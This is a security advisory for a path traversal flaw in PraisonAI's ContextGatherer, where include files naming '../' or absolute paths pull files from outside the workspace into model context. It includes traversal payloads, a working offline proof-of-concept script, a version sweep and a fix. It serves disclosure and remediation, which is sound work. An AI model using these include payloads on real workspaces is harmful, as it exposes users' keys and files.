GHSA-q7m5-3jmv-vm48 CVE-2026-61431 PYSEC-2026-4258

PraisonAI: ContextGatherer include resolution permits absolute and traversal reads outside the workspace

Medium PyPI

Severity: 6.8 / 10; Medium · CVSS 4.0
Exploit chance (EPSS): 0.37%; Chance of exploitation in the next 30 days. Higher than 31.32% of scored vulnerabilities.
Known exploited: No; Not in CISA's catalog
Weakness: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor; CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Fix: 4.6.78; Upgrade praisonai to this version or later

Description

ContextGatherer include resolution permits absolute and traversal reads outside the workspace

Summary

PraisonAI's praisonai.ui.context.ContextGatherer treats the configured directory as the project workspace, but project-controlled .praisoncontext and .praisoninclude files can name absolute paths or .. traversal paths. When context gathering runs, PraisonAI opens those outside paths and appends their contents to the generated context bundle. An attacker who can supply or modify a workspace repository can therefore cause process-readable files outside the intended project root to be sent to the caller or model as project context.

Technical Details

ContextGatherer.get_include_paths() reads include entries directly from .praisoncontext and .praisoninclude under the configured workspace. It stores each non-comment line as a raw include path:

include_file = os.path.join(self.directory, '.praisoncontext')
if os.path.exists(include_file):
    with open(include_file, 'r') as f:
        include_paths.extend(
            line.strip() for line in f
            if line.strip() and not line.startswith('#')
        )

When .praisoncontext is present, gather_context() passes every include entry through os.path.join(self.directory, include_path) and then processes the result:

for include_path in self.include_paths:
    full_path = os.path.join(self.directory, include_path)
    process_path(full_path)

The .praisoninclude path has the same unsafe join after first processing the workspace:

process_path(self.directory)
for include_path in self.include_paths:
    full_path = os.path.join(self.directory, include_path)
    process_path(full_path)

There is no canonicalization or containment check before process_path() opens files or recursively walks directories. In Python, os.path.join(workspace, absolute_path) returns the absolute path and discards workspace; os.path.join(workspace, "../outside.py") remains outside the workspace once normalized by filesystem operations. add_file_content() then opens the supplied path and appends file contents to the context before display bookkeeping:

with open(file_path, 'r', encoding='utf-8') as f:
    content = f.read()
    context.append(
        f"File: {file_path}\n\n{content}\n\n{'=' * 50}\n"
    )
    self.included_files.append(
        Path(file_path).relative_to(self.directory)
    )

For parent traversal paths, Path(file_path).relative_to(self.directory) raises after the outside file content has already been appended, so the caller receives the outside content even if an error is logged. For absolute paths, the outside content is appended as well. This violates the workspace invariant for a context-gathering feature: repository-local include metadata should select files within the project, not arbitrary process-readable host files.

PoV

The minimal vulnerable shape is a workspace containing only a normal source file and one include file:

workspace/
  .praisoncontext      # contains: ../outside_secret.py
  inside.py
outside_secret.py      # outside the workspace

Running ContextGatherer(directory="workspace").run() returns context containing outside_secret.py even though that file is outside the configured workspace. The same result occurs when .praisoncontext contains an absolute path to the outside file, and when .praisoninclude contains either the parent traversal path or the absolute path.

PoC

Save the self-contained script from the Appendix below as context_include_workspace_pov.py, then run it against a local checkout:

export PRAISONAI=/path/to/PraisonAI
PYTHONPATH="$PRAISONAI/src/praisonai" python context_include_workspace_pov.py

Expected vulnerable output:

{
  "expectations": {
    "control_inside_file_is_collected": true,
    "control_without_include_does_not_read_outside": true,
    "praisoncontext_absolute_path_discloses_outside": true,
    "praisoncontext_parent_traversal_discloses_outside": true,
    "praisoninclude_absolute_path_discloses_outside": true,
    "praisoninclude_parent_traversal_discloses_outside": true
  },
  "source_commit": "1620b49f36945d8cc8ee5635b906c960df5097a0",
  "source_file": "$PRAISONAI/src/praisonai/praisonai/ui/context.py",
  "vulnerable": true
}

The version sweep sampled old and current releases. All sampled versions are vulnerable:

{"ref":"v2.3.10","praisonai_version":"2.3.10","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v2.3.11","praisonai_version":"2.3.11","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v3.8.1","praisonai_version":"3.8.1","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v3.9.26","praisonai_version":"3.9.26","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.4.12","praisonai_version":"4.4.12","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.5.16","praisonai_version":"4.5.16","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.5.128","praisonai_version":"4.5.128","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.6.58","praisonai_version":"4.6.58","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.6.62","praisonai_version":"4.6.62","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.6.63","praisonai_version":"4.6.63","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"HEAD","praisonai_version":"4.6.63","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}

No external service, live target, real credential, model provider, or network access is needed for reproduction.

Impact

If a user or service runs PraisonAI context gathering on an attacker-influenced workspace, the attacker can cause local files outside the project root to be included in the generated context. Practical impacts include disclosure of source files from adjacent projects, local configuration, prompt transcripts, logs, API keys, and other process-readable text files with extensions that ContextGatherer considers relevant. If the context bundle is sent to an external model or exposed to a lower-trust caller, the file contents leave the intended workspace boundary.

This report claims confidentiality impact only. It does not claim arbitrary write, command execution, or availability impact.

Suggested severity: Medium under the direct local/workspace threat model because user interaction is required to run context gathering on an attacker-influenced workspace. Deployments that automatically gather context for untrusted repositories and forward it to a third-party model may score higher.

Suggested CVSS 3.1 vector:

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Relevant CWEs:

CWE-22: Improper Limitation of a Pathname to a Restricted Directory
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Suggested Fix

Make include-file path resolution fail closed around a single workspace-containment helper:

Resolve the configured workspace root once with Path(self.directory).resolve().
For each include entry, reject absolute paths outside the workspace.
Join relative include entries to the workspace, resolve the result, and require resolved.relative_to(workspace_root) to succeed before opening or walking anything.
Apply the helper to both .praisoncontext and .praisoninclude processing.
Reject escaped directories as well as escaped files; process_path() can recursively walk directories.
Avoid appending file content before display/bookkeeping operations that can fail.
Add regression tests for ../outside.py, absolute outside paths, and outside directories in both .praisoncontext and .praisoninclude.

Minimal containment shape:

def _resolve_workspace_include(workspace: str, include_path: str) -> Path:
    root = Path(workspace).resolve()
    candidate = Path(include_path)
    if not candidate.is_absolute():
        candidate = root / candidate
    resolved = candidate.resolve()
    try:
        resolved.relative_to(root)
    except ValueError as exc:
        raise PermissionError(f"Context include path is outside workspace: {include_path}") from exc
    return resolved

Affected Package/Versions

Package: PraisonAI / praisonai
Component: praisonai.ui.context.ContextGatherer
Current main tested: 1620b49f36945d8cc8ee5635b906c960df5097a0
Current package version in the tested source tree: 4.6.63
Latest tested release tag: v4.6.63
Oldest sampled vulnerable release tag: v2.3.10

Suggested affected range, based on the sampled source sweep:

praisonai >= 2.3.10, <= 4.6.63

The exact first affected released package version should be confirmed from release history; the sampled range shows the bug is longstanding and still present on current main.

Advisory History

No checked public advisory or local prior report matched praisonai.ui.context.ContextGatherer reading outside-workspace files because project-controlled .praisoncontext or .praisoninclude entries contain absolute paths or .. traversal paths.

Closest public comparators are related but distinct:

GHSA-gcq3-mfvh-3x25: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers praisonai Code CODE_TOOLS wrappers and unset workspace defaults for read/edit helpers. This report has an explicitly configured workspace directory and an attacker-controlled include file inside that workspace; it does not use Code tools or an unset global workspace.
GHSA-j7qx-p75m-wp7g: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw artifact_path values. This report covers praisonai.ui.context.ContextGatherer include-file processing.
GHSA-22cj-m4wf-fv2c: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where run_id and agent_id are path components. This report covers .praisoncontext/.praisoninclude entries in the classic UI context gatherer.
GHSA-grrg-5cg9-58pf / CVE-2026-40117: read_skill_file() arbitrary file read. This report does not use skill tools or approval-gated skill file APIs.
GHSA-7j2f-xc8p-fjmq / CVE-2026-40152 and GHSA-693f-pf34-72c5: FileTools/listing path traversal surfaces. This report is not in praisonaiagents.tools.file_tools or legacy FileTools; it discloses file content through context-gathering output.
GHSA-fwh2-95jw-g4j6: PraisonAI MultiAgentMonitor path traversal, published on 2026-06-19, affects versions before 1.5.115. This report affects current main and 4.6.63 and is triggered by .praisoncontext/.praisoninclude include paths rather than MultiAgentMonitor path parameters.
GHSA-qwwv-hc99-6f5p, GHSA-5fr5-2c3f-3fcr, GHSA-gx4r-3wg8-9w5x, and GHSA-x44p-gg67-52fc: current public PraisonAI advisories for MultiAgentLedger duplicate IDs, AGUI CORS/authorization, UI approval-mode command execution, and approval cache keying. None covers ContextGatherer, .praisoncontext, .praisoninclude, or praisonai.ui.context.

Public search found no hits for PraisonAI ContextGatherer .praisoncontext workspace boundary arbitrary file read, praisoninclude ContextGatherer, or praisonai.ui.context in public GitHub advisory text.

References

PraisonAI repository: https://github.com/MervinPraison/PraisonAI
PraisonAI security advisories: https://github.com/MervinPraison/PraisonAI/security/advisories
GitHub Advisory Database search for PraisonAI: https://github.com/advisories?query=PraisonAI
GHSA-gcq3-mfvh-3x25: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gcq3-mfvh-3x25
GHSA-j7qx-p75m-wp7g: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j7qx-p75m-wp7g
GHSA-22cj-m4wf-fv2c: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-22cj-m4wf-fv2c
GHSA-grrg-5cg9-58pf: https://github.com/advisories/GHSA-grrg-5cg9-58pf
GHSA-7j2f-xc8p-fjmq: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7j2f-xc8p-fjmq
GHSA-fwh2-95jw-g4j6: https://github.com/advisories/GHSA-fwh2-95jw-g4j6
CWE-22: https://cwe.mitre.org/data/definitions/22.html
CWE-200: https://cwe.mitre.org/data/definitions/200.html

Appendix: Self-Contained Context Include Workspace PoC

#!/usr/bin/env python3
"""Offline PoV for PraisonAI ContextGatherer include-file workspace escape."""

from __future__ import annotations

import contextlib
import io
import inspect
import json
import logging
import subprocess
import tempfile
from pathlib import Path

from praisonai.ui.context import ContextGatherer


CANARY = "PRAISON_CONTEXT_CANARY=outside-workspace"
logging.getLogger("praisonai.ui.context").disabled = True


def imported_source_file() -> Path:
    return Path(inspect.getfile(ContextGatherer)).resolve()


def git_head(source_file: Path) -> str:
    try:
        repo_root = next(parent for parent in source_file.parents if (parent / ".git").exists())
        return subprocess.check_output(
            ["git", "-C", str(repo_root), "rev-parse", "HEAD"],
            text=True,
            stderr=subprocess.DEVNULL,
        ).strip()
    except Exception:
        return "unknown"


def gather_context(workspace: Path) -> tuple[str, str]:
    stdout = io.StringIO()
    stderr = io.StringIO()
    with contextlib.redirect_stdout(stdout), contextlib.redirect_stderr(stderr):
        context, _tokens, _tree = ContextGatherer(
            directory=str(workspace),
            max_file_size=100_000,
            max_tokens=100_000,
        ).run()
    return context, stdout.getvalue() + stderr.getvalue()


def reset_include_files(workspace: Path) -> None:
    for name in (".praisoncontext", ".praisoninclude"):
        path = workspace / name
        if path.exists():
            path.unlink()


def redact(value, temp_root: Path, source_file: Path):
    if isinstance(value, str):
        source_root = next((parent for parent in source_file.parents if (parent / ".git").exists()), source_file.parents[4])
        return value.replace(str(temp_root), "$TMPDIR").replace(str(source_root), "$PRAISONAI")
    if isinstance(value, list):
        return [redact(item, temp_root, source_file) for item in value]
    if isinstance(value, dict):
        return {key: redact(item, temp_root, source_file) for key, item in value.items()}
    return value


def main() -> None:
    source_file = imported_source_file()
    with tempfile.TemporaryDirectory(prefix="praison-context-include-pov-") as tmp:
        temp_root = Path(tmp)
        workspace = temp_root / "workspace"
        workspace.mkdir()
        inside = workspace / "inside.py"
        outside = temp_root / "outside_secret.py"
        inside.write_text("INSIDE_ONLY = True\n", encoding="utf-8")
        outside.write_text(f"{CANARY}\n", encoding="utf-8")

        contexts = {}
        logs = {}

        reset_include_files(workspace)
        contexts["control_no_include"], logs["control_no_include"] = gather_context(workspace)

        reset_include_files(workspace)
        (workspace / ".praisoncontext").write_text("../outside_secret.py\n", encoding="utf-8")
        contexts["praisoncontext_parent_traversal"], logs["praisoncontext_parent_traversal"] = gather_context(workspace)

        reset_include_files(workspace)
        (workspace / ".praisoncontext").write_text(str(outside) + "\n", encoding="utf-8")
        contexts["praisoncontext_absolute_path"], logs["praisoncontext_absolute_path"] = gather_context(workspace)

        reset_include_files(workspace)
        (workspace / ".praisoninclude").write_text("../outside_secret.py\n", encoding="utf-8")
        contexts["praisoninclude_parent_traversal"], logs["praisoninclude_parent_traversal"] = gather_context(workspace)

        reset_include_files(workspace)
        (workspace / ".praisoninclude").write_text(str(outside) + "\n", encoding="utf-8")
        contexts["praisoninclude_absolute_path"], logs["praisoninclude_absolute_path"] = gather_context(workspace)

        expectations = {
            "control_without_include_does_not_read_outside": CANARY not in contexts["control_no_include"],
            "control_inside_file_is_collected": "INSIDE_ONLY = True" in contexts["control_no_include"],
            "praisoncontext_parent_traversal_discloses_outside": CANARY in contexts["praisoncontext_parent_traversal"],
            "praisoncontext_absolute_path_discloses_outside": CANARY in contexts["praisoncontext_absolute_path"],
            "praisoninclude_parent_traversal_discloses_outside": CANARY in contexts["praisoninclude_parent_traversal"],
            "praisoninclude_absolute_path_discloses_outside": CANARY in contexts["praisoninclude_absolute_path"],
        }

        output = {
            "source_commit": git_head(source_file),
            "source_file": str(source_file),
            "workspace_root": str(workspace),
            "outside_file": str(outside),
            "vulnerable": all(expectations.values()),
            "expectations": expectations,
            "context_contains": {
                name: {
                    "contains_inside": "INSIDE_ONLY = True" in context,
                    "contains_outside_canary": CANARY in context,
                }
                for name, context in contexts.items()
            },
            "captured_logs": logs,
        }…

Affected versions

PyPI

Package	Vulnerable	Fixed in
praisonai	`< 4.6.78`	`4.6.78`

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai PyPI → `4.6.78`

pip

pip install --upgrade "praisonai>=4.6.78"

poetry

poetry add "praisonai>=4.6.78"

uv

uv add "praisonai>=4.6.78"

Severity breakdown

CVSS 4.0 6.8

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector: Local
Attack complexity: Low
Attack requirements: None
Privileges required: None
User interaction: Passive
Confidentiality (vulnerable system): High
Integrity (vulnerable system): None
Availability (vulnerable system): None
Confidentiality (subsequent systems): None
Integrity (subsequent systems): None
Availability (subsequent systems): None
Exploit maturity: Not defined
Scope: X

CVSS 3.1 5.5

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Attack vector: Local
Attack complexity: Low
Privileges required: None
User interaction: Required
Scope: Unchanged
Confidentiality: High
Integrity: None
Availability: None

Weakness

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

How to prevent it

Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it

Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Advisories

Packages

Timeline

Jul 10, 2026 Published
Oct 24, 2026 Last updated by the source
Nov 1, 2026 Latest EPSS score

Advisory	Severity	Why it's related
GHSA-26mh-57q7-jfvr PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox	High	Also affects praisonai
GHSA-6g6r-q6gw-w8fg PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)	Critical	Also affects praisonai
GHSA-pvph-5j39-v8qc PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server	High	Also affects praisonai
GHSA-gfq8-hmph-9gjv PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret	High	Also affects praisonai
GHSA-2jgc-f764-c5r2 PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete	High	Also affects praisonai
GHSA-pvxx-r596-f5qj PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced	High	Also affects praisonai
GHSA-hmfx-4v44-9qw9 PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation	Medium	Also affects praisonai
GHSA-rg5q-pp8p-f7jm PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114	High	Also affects praisonai

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Description

ContextGatherer include resolution permits absolute and traversal reads outside the workspace

Summary

Technical Details

PoV

PoC

Impact

Suggested Fix

Affected Package/Versions

Advisory History

References

Appendix: Self-Contained Context Include Workspace PoC

Affected versions

PyPI

How to fix

praisonai PyPI → 4.6.78

Severity breakdown

CVSS 4.0 6.8

CVSS 3.1 5.5

Weakness

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

References

Advisories

Packages

Other links

Timeline

Related advisories

praisonai PyPI → `4.6.78`